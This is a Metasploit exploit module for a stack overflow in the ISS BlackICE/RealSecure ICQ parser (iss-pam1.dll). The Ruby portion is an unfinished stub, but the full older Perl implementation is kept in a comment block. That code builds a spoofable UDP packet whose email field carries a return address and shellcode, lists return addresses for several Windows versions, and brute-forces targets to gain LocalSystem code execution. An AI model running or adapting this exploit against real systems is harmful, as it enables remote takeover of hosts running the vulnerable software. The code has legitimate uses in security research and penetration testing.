require 'msf/core'

module Msf

class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'ISS PAM.dll ICQ Parser Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the ISS products
				that use the iss-pam1.dll ICQ parser (Blackice/RealSecure).
				Successful exploitation will result in arbitrary code
				execution as LocalSystem. This exploit only requires 1 UDP
				packet, which can be both spoofed and sent to a broadcast
				address.

				The ISS exception handler will recover the process after
				each overflow, giving us the ability to bruteforce the
				service and exploit it multiple times.

				Warning: Command execution payloads do not seem working,
				this includes win32_adduser.
					
			},
			'Author'         => [ 'spoonm' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '4355'],
					[ 'URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
					[ 'URL', 'http://xforce.iss.net/xforce/alerts/id/166'],
					[ 'MIL', '13'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 469,
					'BadChars' => "\x00",
					'Prepend'  => "\x81\xc4\x54\xf2\xff\xff",

				},
			'Targets'        => 
				[
					[ 
						'Automatic Targetting',
						{
							'Platform' => 'win32, win2000, winxp, win2003, winnt',
							'Ret'      => 0x0,
						},
					],
				],
			'DisclosureDate' => 'Mar 18 2004',
			'DefaultTarget' => 0))
	end

	def exploit
		connect
		
		handler
		disconnect
	end

=begin

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::blackice_pam_icq;
use base 'Msf::Exploit';
use strict;
use Pex::Text;

my $advanced = 
{
	'BruteWait'       => [5, 'Time to sleep between attempts, gives the SEH a chance to recover.'],
	'AdvancedTargets' => [0, 'You should never really need this, just figured why not. This won\'t work with brute forcing either.'],
  };

my $info =
  {
	'Name'    => 'ISS PAM.dll ICQ Parser Buffer Overflow',
	'Version' => '$Revision$',
	'Authors' =>
	  [
		'spoonm <ninjatools [at] hush.com>',
	  ],

	'Description'  => Pex::Text::Freeform(qq{
	This module exploits a stack overflow in the ISS products that use
	the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
	will result in arbitrary code execution as LocalSystem. This exploit 
	only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
	address.

    The ISS exception handler will recover the process after each overflow, giving
	us the ability to bruteforce the service and exploit it multiple times.

    Warning: Command execution payloads do not seem working, this includes win32_adduser.
}),

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003', 'winnt'],
	'Priv'  => 1,

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port (1 for random)', 1],
	  },

	'Payload' =>
	  {
		'Space'  => 504 - 31 - 4,
		'BadChars'  => "\x00",
		'MinNops' => 0,
		'MaxNops' => 0,
		'Prepend' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
		'Keys' => ['+ws2ord'],
	  },

	'Refs'  =>
	  [
		['OSVDB', '4355'],
		['URL',   'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
		['URL',   'http://xforce.iss.net/xforce/alerts/id/166'],
		['MIL',   '13'],
	  ],

	'DefaultTarget' => -1, # it defaults to this, but set anyway
	'Targets' =>
	  [
		[1, 'Bruteforce All', 3 .. 9],
		[1, 'Bruteforce iss-pam1.dll', 3 .. 4],
		[1, 'Bruteforce NT 4.0', 8 .. 9],
		[1, 'iss-pam1.dll 3.6.06', 0x5e0a473f],
		[1, 'iss-pam1.dll 3.6.11', 0x5e0da1db],

		[1, 'WinXP SP0 - SP1', 0x71aa3a4b], # ws2help.dll

		[1, 'Win2003 SP0', 0x71bf3cc9], # ws2help.dll

		# ey4s rocks, thanks for the ret man!
		[1, 'Win2000 SP0 - SP4', 0x750231e2], # ws2help.dll

		[1, 'WinNT SP3 / WinNT SP5 / WinNT SP6', 0x777e79ab], # samlib.dll
		[1, 'WinNT SP4 / WinNT SP5', 0x7733b8db], # cfgmgr32.dll

		# I love opcode db.

		[0, 'WinXP SP0 / WinXP SP1 - shell32.dll', 0x776606af], # shell32.dll
		[0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76b305a7], # atl.dll
		[0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76e61a21], # activeds.dll
		[0, 'WinXP SP0 / WinXP SP1 - ws2_32.dll', 0x71ab7bfb], # ws2_32.dll
		[0, 'WinXP SP0 / WinXP SP1 - mswsock.dll', 0x71a5403d], # mswsock.dll

		[0, 'Win2000 SP2 / Win2000 SP3 - samlib.dll', 0x75159da3], # samlib.dll
		[0, 'Win2000 SP0 / Win2000 SP1 - activeds.dll', 0x773d0beb], # activeds.dll

		[0, 'WinNT SP5 / WinNT SP6 - advapi32.dll', 0x77dcd1cb], # advapi32.dll
		[0, 'WinNT SP3 / WinNT SP5 / WinNT SP6 - shell32.dll', 0x77cec080], # shell32.dll
		[0, 'WinNT SP5 / WinNT SP6 - mswsock.dll', 0x7767ebca], # mswsock.dll
	  ],

	'Keys' => ['blackice'],

	'DisclosureDate' => 'Mar 18 2004',
	
  };

# Override to do our advanced target foo
sub Targets {
	my $self = shift;
	my $targets = $self->SUPER::Targets;
	my $newTargets = [ ];
	my $advanced = !$self->GetLocal('AdvancedTargets') == 1;

	foreach my $target (@{$targets}) {
		if($target->[0] >= $advanced) {
			my @target = @{$target};
			shift(@target);
			push(@{$newTargets}, \@target);
		}
	}
	return($newTargets);
}

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $targetHost  = $self->GetVar('RHOST');
	my $targetIndex = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

	# Pad shellcode to size
	$shellcode .= Pex::Text::EnglishText($self->PayloadSpace - length($shellcode));

	my $target = $self->Targets->[$targetIndex];

	$self->PrintLine;
	$self->PrintLine('[*] !!! Note: The connection will not close after shellcode is finished');
	$self->PrintLine('              (atleast when using SEH).  This is because the SEH handler');
	$self->PrintLine('              recovers after bad exceptions (good for us).');
	$self->PrintLine;

	my @targets;

	if(@{$target} == 2) {
		@targets = ($targetIndex);
	}
	else {
		@targets = @{$target};
		my $name = shift(@targets);
		$self->PrintLine('[*] Trying Multiple Targets - ' . $name);
	}

	foreach $targetIndex (@targets) {
		my $target = $self->Targets->[$targetIndex];
		my $addr = $target->[1];

		$self->PrintLine(sprintf('[*] Trying %s - 0x%08x', $target->[0], $addr));

		my $port = $self->_targetPort;
		my $sock = Msf::Socket::Udp->new
		  (
			'PeerAddr'  => $targetHost,
			'PeerPort'  => $port,
			'LocalPort' => 4000,
		  );
		if ($sock->IsError) {
			$self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
			return;
		}

# http://www.cs.berkeley.edu/~mikechen/im/protocols/icq/icqv5.html
# ISS's parser disagrees with both the above protocol and ethereal's disector

# God I'm so sick of this exploit by now, heh.
# ISS's parser seems totally broked, so this protocol is a fudge of the real one.

		my $header = Pex::Struct->new(
			[
				'version'   => 'l_u_16',
				'unknown0'  => 'u_8',
				'sessionId' => 'l_u_32',
				'command'   => 'l_u_16',
				'seqnum1'   => 'l_u_16',
				'seqnum2'   => 'l_u_16',
				'uin'       => 'l_u_32',
				'checkcode' => 'l_u_32',
			]
		  );

		$header->Set(
			'version'   => 5,
			'unknown0'  => 0,
			'sessionId' => 0,
			'command'   => 530, # SRV_MULTI
			'seqnum1'   => 0,
			'seqnum2'   => 0,
			'uin'       => 1161044754,

			#      'uin'       => 0,
			'checkcode' => 0,
		  );

		# Packet 1 USER_ONLINE
		my $userOnline = Pex::Struct->new(
			[
				'header'    => 'struct',
				'uinOnline' => 'l_u_32',
				'ip'        => 'l_u_32',
				'port'      => 'l_u_32',
				'realIp'    => 'l_u_32',
				'unknown1'  => 'u_8',
				'status'    => 'l_u_32',
				'unknown2'  => 'l_u_32',
			],
		  );

		my $headerOnline = $header->copy;
		$headerOnline->Set('command', 110); # SRV_USER_ONLINE

		$userOnline->Set(
			'header' => $headerOnline,
			'uinOnline' => 1161044754,
			'ip'        => 1,
			'port'      => 0,
			'realIp'    => 0,
			'unknown1'  => 0,
			'status'    => 0,
			'unknown2'  => 0,
		  );

		# Packet 2 META_USER
		my $metaUser = Pex::Struct->new(
			[
				'header'          => 'struct',
				'subcommand'      => 'l_u_16',
				'success'         => 'u_8',
				'nickLength'      => 'l_u_16',
				'nick'            => 'string',
				'firstNameLength' => 'l_u_16',
				'firstName'       => 'string',
				'lastNameLength'  => 'l_u_16',
				'lastName'        => 'string',
				'emailLength'     => 'l_u_16',
				'email'           => 'string',
				'authorize'       => 'u_8',
				'unknown1'        => 'l_u_16',
				'unknown2'        => 'l_u_32',
			],
		  );

		my $headerMeta = $header->copy;
		$headerMeta->Set('command', 990); # SRV_META_USER
		$headerMeta->Set('uin', 2018915346);

		# Evilness

		my $nick = '';
		my $firstName = '';
		my $lastName = '';

		#    my $email = 'A' x 19;
		my $email = Pex::Text::EnglishText(19);
		$email .= pack('V', $addr);
		$email .= $shellcode;

		$metaUser->SetSizeField(
			'nick'      => 'nickLength',
			'firstName' => 'firstNameLength',
			'lastName'  => 'lastNameLength',
			'email'     => 'emailLength',
		  );

		$metaUser->Set(
			'header'          => $headerMeta,
			'subcommand'      => 0, # META_USER_FOUND (Should be 410, iss, wtf?)
			'success'         => 10, # Success
			'nick'            => $nick,
			'firstName'       => $firstName,
			'lastName'        => $lastName,
			'email'           => $email,
			'authorize'       => 0, # don't ask permission (docs and ethereal conflict)
			'unknown1'        => 0,
			'unknown2'        => 0,
		  );

		my $multi = Pex::Struct->new(
			[
				'header'        => 'struct',
				'numPackets'    => 'u_8',
				'packet1Length' => 'l_u_16',
				'packet1'       => 'struct',
				'packet2Length' => 'l_u_16',
				'packet2'       => 'struct',
			],
		  );

		$multi->Set(
			'packet2Length' => length($metaUser),
		  );

		$multi->Set(
			'header'     => $header,
			'numPackets' => 2,
			'packet1Length' => $userOnline->Length,
			'packet1'       => $userOnline,
			'packet2Length' => $metaUser->Length,
			'packet2'       => $metaUser,
		  );

		my $request = $multi->Fetch;

		$self->PrintLine('[*] Sending UDP Request (Dest Port: ' . $port . ') (' . length($request) . ' bytes)');

		$sock->Send($request);

		$self->PrintLine('[*] Sleeping (giving exception handle time to recover).');
		sleep($self->GetLocal('BruteWait'));
	}

}

sub _targetPort {
	my $self = shift;
	my $targetPort  = $self->GetVar('RPORT');
	return($targetPort) if($targetPort != 1);
	return(int(rand(65536 - 2000)) + 2000);
}


=end


end
end